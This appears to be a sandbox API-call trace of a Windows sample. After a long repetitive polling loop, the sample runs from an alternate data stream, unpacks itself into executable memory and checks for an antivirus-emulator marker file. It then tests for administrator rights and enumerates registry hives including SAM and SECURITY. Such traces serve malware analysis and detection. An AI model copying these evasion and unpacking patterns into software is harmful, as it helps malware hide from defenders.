lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.038] GetFocus () returned 0x0 [0248.038] GetAsyncKeyState (vKey=58) returned 0 [0248.038] GetKBCodePage () returned 0x1b5 [0248.038] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.038] GetFocus () returned 0x0 [0248.038] GetAsyncKeyState (vKey=58) returned 0 [0248.038] GetKBCodePage () returned 0x1b5 [0248.038] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.038] GetFocus () returned 0x0 [0248.038] GetAsyncKeyState (vKey=58) returned 0 [0248.038] GetKBCodePage () returned 0x1b5 [0248.038] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.038] GetFocus () returned 0x0 [0248.038] GetAsyncKeyState (vKey=58) returned 0 [0248.038] GetKBCodePage () returned 0x1b5 [0248.038] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.038] GetFocus () returned 0x0 [0248.038] GetAsyncKeyState (vKey=58) returned 0 [0248.039] GetKBCodePage () returned 0x1b5 [0248.039] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.039] GetFocus () returned 0x0 [0248.039] GetAsyncKeyState (vKey=58) returned 0 [0248.039] GetKBCodePage () returned 0x1b5 [0248.039] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.039] GetFocus () returned 0x0 [0248.039] GetAsyncKeyState (vKey=58) returned 0 [0248.039] GetKBCodePage () returned 0x1b5 [0248.039] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.039] GetFocus () returned 0x0 [0248.039] GetAsyncKeyState (vKey=58) returned 0 [0248.039] GetKBCodePage () returned 0x1b5 [0248.039] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.039] GetFocus () returned 0x0 [0248.039] GetAsyncKeyState (vKey=58) returned 0 [0248.039] GetKBCodePage () returned 0x1b5 [0248.039] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.039] GetFocus () returned 0x0 [0248.039] GetAsyncKeyState (vKey=58) returned 0 [0248.039] GetKBCodePage () returned 0x1b5 [0248.039] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.039] GetFocus () returned 0x0 [0248.039] GetAsyncKeyState (vKey=58) returned 0 [0248.039] GetKBCodePage () returned 0x1b5 [0248.039] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.039] GetFocus () returned 0x0 [0248.039] GetAsyncKeyState (vKey=58) returned 0 [0248.039] GetKBCodePage () returned 0x1b5 [0248.039] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.039] GetFocus () returned 0x0 [0248.039] GetAsyncKeyState (vKey=58) returned 0 [0248.039] GetKBCodePage () returned 0x1b5 [0248.039] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.039] GetFocus () returned 0x0 [0248.040] GetAsyncKeyState (vKey=58) returned 0 [0248.040] GetKBCodePage () returned 0x1b5 [0248.040] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.040] GetFocus () returned 0x0 [0248.040] GetAsyncKeyState (vKey=58) returned 0 [0248.040] GetKBCodePage () returned 0x1b5 [0248.040] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.040] GetFocus () returned 0x0 [0248.040] GetAsyncKeyState (vKey=58) returned 0 [0248.040] GetKBCodePage () returned 0x1b5 [0248.040] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.040] GetFocus () returned 0x0 [0248.040] GetAsyncKeyState (vKey=58) returned 0 [0248.040] GetKBCodePage () returned 0x1b5 [0248.040] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.040] GetFocus () returned 0x0 [0248.040] GetAsyncKeyState (vKey=58) returned 0 [0248.040] GetKBCodePage () returned 0x1b5 [0248.040] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.040] GetFocus () returned 0x0 [0248.040] GetAsyncKeyState (vKey=58) returned 0 [0248.040] GetKBCodePage () returned 0x1b5 [0248.040] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.040] GetFocus () returned 0x0 [0248.040] GetAsyncKeyState (vKey=58) returned 0 [0248.040] GetKBCodePage () returned 0x1b5 [0248.040] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.040] GetFocus () returned 0x0 [0248.040] GetAsyncKeyState (vKey=58) returned 0 [0248.040] GetKBCodePage () returned 0x1b5 [0248.040] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.040] GetFocus () returned 0x0 [0248.040] GetAsyncKeyState (vKey=58) returned 0 [0248.040] GetKBCodePage () returned 0x1b5 [0248.040] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.040] GetFocus () returned 0x0 [0248.041] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0248.041] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1:bin")) returned 0x2e [0248.041] Sleep (dwMilliseconds=0x94) [0248.196] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0248.198] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0248.227] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0248.227] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x250000 [0248.228] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0248.228] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0248.228] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) returned 0x0 [0248.228] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0248.228] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0248.228] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0248.228] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0248.228] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0248.229] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x270000 [0248.231] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0248.231] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0248.232] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0248.232] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0248.756] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.765] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x4d0000 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x104) returned 0x4d07d0 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d08e0 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0968 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d09f0 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0a78 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0b00 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0b88 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0c10 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0c98 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0d20 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0da8 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0e30 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0eb8 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0f40 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d0fc8 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d1050 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x80) returned 0x4d10d8 [0248.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x400) returned 0x4d1160 [0248.781] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x580000 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5807d0 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x580858 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5808e0 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x184) returned 0x580968 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580af8 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580b40 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580b88 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580bd0 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580c18 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580c60 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580ca8 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580cf0 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580d38 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580d80 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580dc8 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580e10 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580e58 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580ea0 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580ee8 [0248.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580f30 [0248.782] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1:bin")) returned 0x2e [0248.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x580f78 [0248.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2c) returned 0x58b828 [0248.788] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0248.788] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0248.788] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0248.788] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0248.788] GetLastError () returned 0x7a [0248.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x140) returned 0x58b860 [0248.788] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x58b860, TokenInformationLength=0x118, ReturnLength=0x18fbec | out: TokenInformation=0x58b860, ReturnLength=0x18fbec) returned 1 [0248.788] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x5c4d78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0248.789] EqualSid (pSid1=0x5c4d78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x58b8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0248.789] EqualSid (pSid1=0x5c4d78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x58b8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0248.789] EqualSid (pSid1=0x5c4d78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x58b8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0248.789] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b860) returned 1 [0248.789] NtClose (Handle=0xc4) returned 0x0 [0248.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58b860 [0248.790] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58b8a8 [0248.790] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x58b930 [0248.791] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.795] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x58b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.795] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.795] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bc58 [0248.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x58bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0248.795] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bca0 [0248.795] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc58) returned 1 [0248.795] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bca0) returned 1 [0248.795] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.795] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x58b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.795] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bca0 [0248.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x58bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bc58 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bca0) returned 1 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc58) returned 1 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.796] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x58b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bc58 [0248.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x58bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bca0 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc58) returned 1 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bca0) returned 1 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.796] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x58b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 